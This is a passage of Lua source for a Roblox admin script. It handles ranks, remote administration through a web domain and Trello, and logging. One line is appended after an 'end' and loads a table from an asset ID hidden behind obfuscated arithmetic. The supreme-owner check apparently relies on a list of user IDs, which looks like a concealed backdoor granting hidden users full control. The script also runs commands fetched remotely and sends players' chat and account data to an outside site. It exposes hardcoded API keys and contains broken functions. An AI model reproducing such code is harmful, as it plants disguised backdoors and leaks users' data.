1699 else
1700 table.insert(ExploitLog, NewData)
1701 Server.GDS:SetAsync("ExploitLog", ExploitLog)
1702 end
1703 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1704
1705 return true
1706end
1707
1708function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1709 if not tostring(Name) then Name = "Dummy" end
1710 if not Position then Position = Vector3.new(0,5,0) end
1711 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1712 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1713 end
1714
1715 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1716 Figure:MakeJoints()
1717 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1718 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1719 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1720 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1721 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1722 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1723
1724 Figure.Name = STRING:FormatReplace(Speaker, Name)
1725 Figure:MoveTo(Position)
1726
1727 table.insert(Objects, Figure)
1728
1729 if DisableAnimation == true then
1730 Figure.Animate.Disabled = true
1731 end
1732
1733 return Figure
1734end
1735
1736function CORE:ClonePlayer(Player, Name, Position)
1737 if not Player or not Player.Character then return nil end
1738
1739 Player.Character.Archivable = true
1740 local Char = Player.Character:Clone()
1741 Player.Character.Archivable = false
1742 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1743 if Position then Char:MoveTo(Position) end
1744 Char.Parent = Server.Workspace
1745 Char:MakeJoints()
1746 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1747
1748 table.insert(Objects, Char)
1749
1750 return Obj
1751end
1752
1753function CORE:AddWaypoint(Name, Position, Speaker)
1754 Waypoints[Name] = Position
1755 if Speaker then
1756 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1757 end
1758end
1759
1760function CORE:FindType(BaseObj, Type)
1761 for _,Obj in pairs(BaseObj:GetChildren()) do
1762 if Obj:IsA(Type) then
1763 return Obj
1764 end
1765 end
1766end
1767
1768function CORE:GetCommands()
1769 local CommandsCopy = Commands
1770 return CommandsCopy
1771end
1772
1773function CORE:Crown(Player, Mesh, Color)
1774 if Mesh then Mesh = string.lower(Mesh) end
1775 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1776 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1777 local Part = Instance.new("Part", CrownStorage)
1778 Part.Size = Vector3.new(2, 1, 1)
1779 Part.CanCollide = false
1780 Part.CFrame = Player.Character.Head.CFrame
1781 Part.Locked = true
1782 Part.Material = "Neon"
1783 if Color then
1784 Part.Color = GUI:GetColor(Color)
1785 else
1786 Part.BrickColor = GUI:GetNameColor(Player.Name)
1787 end
1788 local SMesh = Instance.new("SpecialMesh", Part)
1789 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1790 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1791 local BP = Instance.new("BodyPosition", Part)
1792 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1793 BP.position = Player.Character.Head.Position
1794 BP.P = 20000
1795 local BG = Instance.new("BodyGyro", Part)
1796 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1797
1798 Crowns[Player.UserId] = Part
1799 table.insert(Objects, Part)
1800
1801 coroutine.wrap(function()
1802 for i = 1,0.3,-0.02 do
1803 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1804 Part.Transparency = i
1805 end
1806 wait()
1807 end
1808 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1809 for i = 0,360,3 do
1810 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1811 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1812 wait()
1813 end
1814 end
1815 end
1816 end)()
1817 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1818 Part:BreakJoints()
1819 for i = 0,360 do
1820 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1821 Part.Anchored = false
1822 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1823 BG.cframe = Player.Character.Head.CFrame
1824 end
1825 wait()
1826 end
1827 end end)()
1828
1829 return Part
1830end
1831
1832function CORE:SetAbuseCommands()
1833 for Cmds,Data in pairs(Commands) do
1834 local IsAbusable = false
1835 for _,AbuseCmd in pairs(Settings.AbuseList) do
1836 for _,Command in pairs(Cmds) do -- loop through all command names
1837 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1838 IsAbusable = true
1839 break
1840 end
1841 end
1842 if IsAbusable == true then break end
1843 end
1844 Commands[Cmds].Abusable = IsAbusable
1845 end
1846end
1847
1848function CORE:FindBodyPart(Player, BodyPart)
1849 local ReturnPart = nil
1850 if Player and Player.Character then
1851 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1852 if Humanoid then
1853 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1854 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1855 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1856 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1857 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1858 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1859 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1860 end
1861 end
1862 if not ReturnPart then
1863 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1864 end
1865 end
1866
1867 return ReturnPart
1868end
1869
1870-- Rank functions --
1871
1872function RANK:ConvertRank(Input)
1873 local Output = nil
1874 if Input == "Muted" then Output = -3 end
1875 if Input == "Crashed" then Output = -2 end
1876 if Input == "Banned" then Output = -1 end
1877 if Input == "Non-Admin" then Output = 0 end
1878 if Input == "Member" then Output = 1 end
1879 if Input == "Admin" then Output = 2 end
1880 if Input == "Owner" then Output = 3 end
1881
1882 if Input == -3 then Output = "Muted" end
1883 if Input == -2 then Output = "Crashed" end
1884 if Input == -1 then Output = "Banned" end
1885 if Input == 0 then Output = "Non-Admin" end
1886 if Input == 1 then Output = "Member" end
1887 if Input == 2 then Output = "Admin" end
1888 if Input == 3 then Output = "Owner" end
1889 return Output
1890end
1891
1892function RANK:IsAdmin(Player)
1893 local AdminStatus = false
1894 local Rankstatus = "Non-Admin"
1895 if type(Player) == "table" then
1896 if RANK:ConvertRank(Player.Rank) > 0 then
1897 return true, Player.Rank
1898 else
1899 return false, Player.Rank
1900 end
1901 end
1902 for Rank,PlayerNames in pairs(Settings.Ranks) do
1903 for _,AdminName in pairs(PlayerNames) do
1904 if string.lower(AdminName) == string.lower(Player.Name) then
1905 if RANK:ConvertRank(Rank) > 0 then
1906 AdminStatus = true
1907 Rankstatus = Rank
1908 end
1909 end
1910 end
1911 end
1912 return AdminStatus, Rankstatus
1913end
1914
1915function RANK:GetRank(PlayerName)
1916 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1917 if type(PlayerName) == "table" then
1918 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1919 if RankNum > 0 then
1920 return PlayerName.Rank, RankNum, true
1921 else
1922 return PlayerName.Rank, RankNum, false
1923 end
1924 end
1925
1926 local RankStat = "Non-Admin"
1927
1928 for Rank,PlayerNames in pairs(Settings.Ranks) do
1929 for _,AdminName in pairs(PlayerNames) do
1930 if string.lower(AdminName) == string.lower(PlayerName) then
1931 RankStat = Rank
1932 end
1933 end
1934 end
1935
1936 if RankStat == "Non-Admin" then
1937 return "Non-Admin", 0, false
1938 else
1939 return RankStat, RANK:ConvertRank(RankStat), true
1940 end
1941end
1942
1943function RANK:RemoveRank(PlayerName)
1944 if not RANK:IsSupremeOwner(PlayerName) then
1945 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1946
1947 for Rank,PlayerNames in pairs(Settings.Ranks) do
1948 for Num,AdminName in pairs(PlayerNames) do
1949 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1950 table.remove(Settings.Ranks[Rank], Num)
1951 end
1952 end
1953 end
1954 end
1955end
1956
1957function RANK:GetAdmins(Ranking)
1958 local Players = {}
1959 local AdminTrue, Rank = IsAdmin(Player)
1960 for _,Player in pairs(Players:GetPlayers()) do
1961 if AdminTrue then
1962 local PlayerRankNum = RANK:ConvertRank(Rank)
1963 local StandardRankNum = RANK:ConvertRank(Ranking)
1964 if PlayerRankNum >= StandardRankNum then
1965 table.insert(Players, Player)
1966 end
1967 end
1968 end
1969 return Players
1970end
1971
1972function RANK:IsSupremeOwner(PlayerName)
1973 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1974 if type(PlayerName) == "table" then
1975 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1976 end
1977
1978 if PlayerName == GameOwner then return true end
1979 return false
1980end
1981
1982function RANK:GetPlayerFromList(PlayerName)
1983 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1984
1985 for Rank,PlayerNames in pairs(Settings.Ranks) do
1986 for Num,AdminName in pairs(PlayerNames) do
1987 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1988 return AdminName, Rank
1989 end
1990 end
1991 end
1992 return false, "Non-Admin"
1993end
1994
1995function RANK:ScanAdminList(Name)
1996 if Name == "" then return true end
1997 local InList = false
1998 for _,PName in pairs(Settings.Ranks["Owner"]) do
1999 if PName == Name then InList = true end
2000 end
2001 for _,PName in pairs(Settings.Ranks["Admin"]) do
2002 if PName == Name then InList = true end
2003 end
2004 for _,PName in pairs(Settings.Ranks["Member"]) do
2005 if PName == Name then InList = true end
2006 end
2007 return InList
2008end
2009
2010function RANK:ScanExileList(Name)
2011 if Name == "" then return true end
2012 local InList = false
2013 for _,PName in pairs(Settings.Ranks["Muted"]) do
2014 if PName == Name then InList = true end
2015 end
2016 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2017 if PName == Name then InList = true end
2018 end
2019 for _,PName in pairs(Settings.Ranks["Banned"]) do
2020 if PName == Name then InList = true end
2021 end
2022 return InList
2023end
2024
2025function RANK:PlayerRanked(PlayerName)
2026 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2027
2028 for Rank,PlayerNames in pairs(Settings.Ranks) do
2029 for Num,AdminName in pairs(PlayerNames) do
2030 if string.lower(AdminName) == string.lower(PlayerName) then
2031 return true, Rank
2032 end
2033 end
2034 end
2035 return false, "Non-Admin"
2036end
2037
2038-- Remote functions --
2039
2040function REMOTE:Decode(...)
2041 return Server.HS:JSONDecode(...)
2042end
2043
2044function REMOTE:GetURL(URL, Player)
2045 if string.sub(URL,1,4) ~= "http" then
2046 URL = "http://"..URL
2047 end
2048 local Return = nil
2049 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2050 if Return then
2051 return Return
2052 elseif Player then
2053 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2054 end
2055end
2056
2057function REMOTE:PostURL(URL, Data)
2058 local Return = nil
2059 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2060 return Return
2061end
2062
2063function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2064 if Settings.LinkedAccount ~= "" then
2065 local NumType = tonumber(Type)
2066
2067 if not Type then
2068 Type = "UNKNOWN"
2069 end
2070
2071 if NumType then
2072 if NumType < 1 or NumType > 5 then
2073 Type = "UNKNOWN"
2074 elseif NumType == 1 then
2075 Type = "NOTIFICATION"
2076 elseif NumType == 2 then
2077 Type = "INFORMATION"
2078 elseif NumType == 3 then
2079 Type = "WARNING"
2080 elseif NumType == 4 or Type == true then
2081 Type = "ERROR"
2082 elseif NumType == 5 then
2083 Type = "FATAL"
2084 end
2085 end
2086
2087 local Res = "RED Could not get response"
2088 local function SendData()
2089 Res = Server.HS:PostAsync(
2090 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2091 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2092 2
2093 )
2094 end
2095 if Stopypcall == true then SendData() else ypcall(SendData) end
2096
2097 if OutputSpeaker and OutputSpeaker ~= "print" then
2098 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2099 elseif OutputSpeaker == "print" then
2100 print(Res)
2101 end
2102 end
2103end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2104
2105function REMOTE:SendChatLog(PrintResponse, Stopypall)
2106 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2107 local Res = "Could not get response"
2108
2109 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2110 TempChatLogs = {}
2111
2112 local function SendData()
2113 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2114 end
2115 if Stopypcall == true then SendData() else ypcall(SendData) end
2116 if PrintResponse then print(Res) end
2117 end
2118end
2119
2120function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2121 local Res = "[]"
2122 local function GetData()
2123 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2124 end
2125 if Stopypcall == true then GetData() else ypcall(GetData) end
2126 if PrintResponse then
2127 print(Res)
2128 end
2129 local function DecodeData() Res = REMOTE:Decode(Res) end
2130 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2131 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2132 return Res
2133end
2134
2135function REMOTE:HandleRequest(Request, IgnoreCommand)
2136 if not Request then return nil end
2137
2138 if not IgnoreCommand then
2139 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2140 REMOTE:SendServerData()
2141 end
2142 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2143 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2144 end
2145 end
2146
2147 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2148
2149 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2150 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2151 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2152 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2153 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2154 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2155
2156 Settings.Fun = Request.FUN
2157 Settings.ServerLocked = Request.ServerLocked
2158
2159 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2160 Settings.DisableAbuse = Request.DisableAbuse
2161 end
2162
2163 if not IgnoreCommand then
2164 print("Executing Remote Admin")
2165 REMOTE.RemoteAdmin.Command = Request.Command
2166 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2167 REMOTE.RemoteAdmin.ServerPort = Request.Server
2168
2169 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2170 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2171 else
2172 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2173 end
2174 end
2175 end
2176 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2177 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2178 REMOTE.SnapshotKey = Request.SnapshotKey
2179end
2180
2181function REMOTE:GetRemoteData(Set)
2182 local NewRemoteData = nil
2183 local RemoteDataCardRaw = nil
2184 local RemoteDataCard = nil
2185
2186 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2187 if RemoteDataCardRaw then
2188 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2189 if RemoteDataCard then
2190 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2191 end
2192 end
2193 if Set and NewRemoteData then
2194 RemoteData = NewRemoteData
2195 end
2196 return NewRemoteData
2197end
2198
2199function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2200 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2201 if InfoCardJSON then
2202 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2203 if InfoCard then
2204 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2205 if TrelloInfo then
2206 for Ind,Val in pairs(TrelloInfo) do
2207 Trello[Ind] = Val
2208 end
2209 end
2210 end
2211 end
2212 return NewRemoteData
2213end
2214
2215function REMOTE:CheckRemoteAdminStatus()
2216 local Pending = false
2217 local CheckID = 0
2218 if Settings.LinkedAccount ~= "" then
2219 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2220 if Request then
2221 local Data = REMOTE:Decode(Request)
2222 if Data then
2223 for _,Account in pairs(Data.checkItems) do
2224 if Account.name == Settings.LinkedAccount then
2225 Pending = true
2226 CheckID = Account.id
2227 break
2228 end
2229 end
2230 end
2231 end
2232 end
2233 return Pending, CheckID
2234end
2235
2236function REMOTE:GetAndSetWebData()
2237 if Settings.LinkedAccount ~= "" then
2238 if REMOTE:CheckRemoteAdminStatus() then
2239 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2240 if Request == "Invalid" then
2241 --REMOTE:GetAndSetWebData()
2242 return false
2243 elseif Request == "Invalid Account" then
2244 print("Can't get account")
2245 return false
2246 elseif Request then
2247 ypcall(function() Request = REMOTE:Decode(Request) end)
2248 elseif not Request then
2249 --REMOTE:GetAndSetWebData()
2250 return false
2251 end
2252 REMOTE:HandleRequest(Request)
2253
2254 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2255 Delay(RemoteData.RemoteAdminWait, function()
2256 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2257 if Pending then
2258 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2259 end
2260 end)
2261 return true
2262 else
2263 return true
2264 end
2265 end
2266end
2267
2268local OderIDs = CORE:GetTable(177215518)
2269local SoundJSONs = CORE:GetTable(197637628)
2270RemoteAbuseGear = CORE:GetTable(158117496)
2271
2272function REMOTE:SendServerData(PrintResponse, Stopypall)
2273 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2274 print("Sending server data!")
2275 local Res = "Could not get response"
2276
2277 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2278 for _,Player in pairs(Server.Players:GetPlayers()) do
2279 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2280 end
2281 ServerData = Server.HS:JSONEncode(ServerData)
2282
2283 local function SendData()
2284 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2285 end
2286 if Stopypcall == true then SendData() else ypcall(SendData) end
2287 if PrintResponse then print(Res) end
2288 end
2289end
2290
2291function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2292 MaxPartAmount = MaxPartAmount or 10000
2293 local PlaceData = {
2294 Lighting = {};
2295 Parts = {};
2296 Other = {};
2297 }
2298 local MinSize = Vector3.new(0.5,0.5,0.5)
2299 local PartAmount = 0
2300 local PlaceJSON = ""
2301
2302 local function Scan(BaseObj)
2303 for _,Obj in pairs(BaseObj:GetChildren()) do
2304 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2305 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2306 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2307 local Skip = false
2308 local Data = {}
2309 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2310
2311 if CORE:FindType(Obj, "BlockMesh") then
2312 local Mesh = CORE:FindType(Obj, "BlockMesh")
2313 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2314 elseif CORE:FindType(Obj, "CylinderMesh") then
2315 Data.Shape = "Cylinder"
2316 elseif CORE:FindType(Obj, "SpecialMesh") then
2317 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2318 if Mesh.MeshType == Enum.MeshType.Head then
2319 --idk
2320 else
2321 Skip = true
2322 end
2323 elseif CORE:FindType(Obj, "FileMesh") then
2324 Skip = true
2325 end
2326
2327 if not Data.Shape and not Skip then
2328 if ypcall(function() return Obj.Shape end) then
2329 Data.Shape = string.sub(Obj.Shape.Name,14)
2330 if string.sub(Data.Shape,1,1) == "." then
2331 Data.Shape = string.sub(Data.Shape,2)
2332 end
2333 if Data.Shape == "Cylinder" then
2334 Z = Z + math.pi/2
2335 end
2336 else
2337 Data.Shape = "Block"
2338 end
2339 end
2340
2341 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2342 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2343 end
2344
2345 if not Skip then
2346 Data.Color = GUI:Color3ToHex(Obj.Color);
2347 Data.Size = Size;
2348 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2349 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2350 Data.Transparency = STRING:StringRound(Obj.Transparency);
2351 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2352 Data.Textures = {};
2353 Data.Material = string.sub(tostring(Obj.Material),15);
2354
2355 for _,Sub in pairs(Obj:GetChildren()) do
2356 if Sub:IsA("Decal") then
2357 local Texture = string.match(Sub.Texture, "%d+")
2358 if Sub.Texture == "rbxasset://textures/face.png" then
2359 Texture = "FACE"
2360 end
2361 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2362 end
2363 end
2364
2365 PartAmount = PartAmount + 1
2366 table.insert(PlaceData.Parts, Data)
2367
2368 if PartAmount >= MaxPartAmount then
2369 break
2370 end
2371 end
2372 end
2373 end
2374 if #Obj:GetChildren() > 0 then
2375 Scan(Obj)
2376 end
2377 end
2378 end
2379 Scan(Workspace)
2380
2381 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2382 PlaceData.Other.PartAmount = PartAmount;
2383 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2384
2385 local Res = "Could not get response"
2386 local function SendData()
2387 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2388 end
2389 if Stopypcall == true then SendData() else ypcall(SendData) end
2390 if PrintResponse then print(Res) end
2391
2392 print("Sent snapshot")
2393end
2394
2395
2396function REMOTE:DefineWord(Word, Source)
2397 if not Word then return end
2398 if not Source then Source = "all" end
2399
2400 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2401 if Response then
2402 local Decode = REMOTE:Decode(Response)
2403 if #Decode > 0 then
2404 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2405
2406 ]]..Decode[1]["text"]
2407 else
2408 return "Invalid English word"
2409 end
2410 else
2411 return "Cannot connect to database"
2412 end
2413end
2414
2415function REMOTE:DownloadJoke(Speaker)
2416 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2417 local Joke = nil
2418 if Res then
2419 local _, Start = string.find(Res, "</h2>")
2420 local End, _ = string.find(string.sub(Res, Start), "</td>")
2421
2422 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2423 Joke = string.gsub(Joke, "\n", "")
2424 Joke = string.gsub(Joke, " ", "") -- tab
2425 Joke = string.gsub(Joke, "</ul>", "")
2426 Joke = string.gsub(Joke, "<ul>", "")
2427 Joke = string.gsub(Joke, "</li>", [[
2428
2429]])
2430 Joke = string.gsub(Joke, "<li>", "")
2431 Joke = string.gsub(Joke, "</p>", "")
2432 Joke = string.gsub(Joke, "<p>", "")
2433 Joke = string.gsub(Joke, "<", "")
2434 Joke = string.gsub(Joke, ">", "")
2435 end
2436
2437 return Joke
2438end
2439
2440function REMOTE:GetAddon()
2441 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2442end
2443
2444function REMOTE:TrelloGetAdminBoard()
2445 local BoardsJSON,Boards,ReturnBoard
2446
2447 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2448
2449 if BoardsJSON then
2450 Boards = REMOTE:Decode(BoardsJSON)
2451 end
2452 if Boards then
2453 for _,Board in pairs(Boards) do
2454 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2455 ReturnBoard = Board
2456 break
2457 end
2458 end
2459 if not ReturnBoard then -- create board if not created
2460 print("Creating Trello Board")
2461 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2462 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2463 ReturnBoard = REMOTE:Decode(BoardJSON)
2464 end
2465 end
2466 return ReturnBoard
2467end
2468
2469function REMOTE:TrelloGetAdminLists(Board)
2470 local Required = {}
2471 local ListJSON,Lists
2472 local ReturnLists = {}
2473
2474 for _,List in pairs(Trello.RequiredLists) do
2475 table.insert(Required, List)
2476 end
2477
2478 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2479
2480 if ListJSON then
2481 Lists = REMOTE:Decode(ListJSON)
2482 end
2483 if Lists then
2484 for _,List in pairs(Lists) do
2485 for Num,Rel in pairs(Required) do
2486 if List.name == Rel.name then
2487 table.remove(Required, Num)
2488 table.insert(ReturnLists, List)
2489 end
2490 end
2491 end
2492 for _,Rel in pairs(Required) do
2493 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2494 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2495 end
2496 end
2497
2498 return ReturnLists
2499end
2500
2501function REMOTE:TrelloCacheData(Lists)
2502 for _,List in pairs(Lists) do
2503 local CardsJSON,Cards
2504 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2505 if CardsJSON then
2506 Cards = REMOTE:Decode(CardsJSON)
2507 end
2508 if Cards then
2509 local TemplateCards = nil
2510 for _,TemplateList in pairs(Trello.RequiredLists) do
2511 if TemplateList.name == List.name then
2512 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2513 break
2514 end
2515 end
2516
2517 for _,TemplateCard in pairs(TemplateCards) do
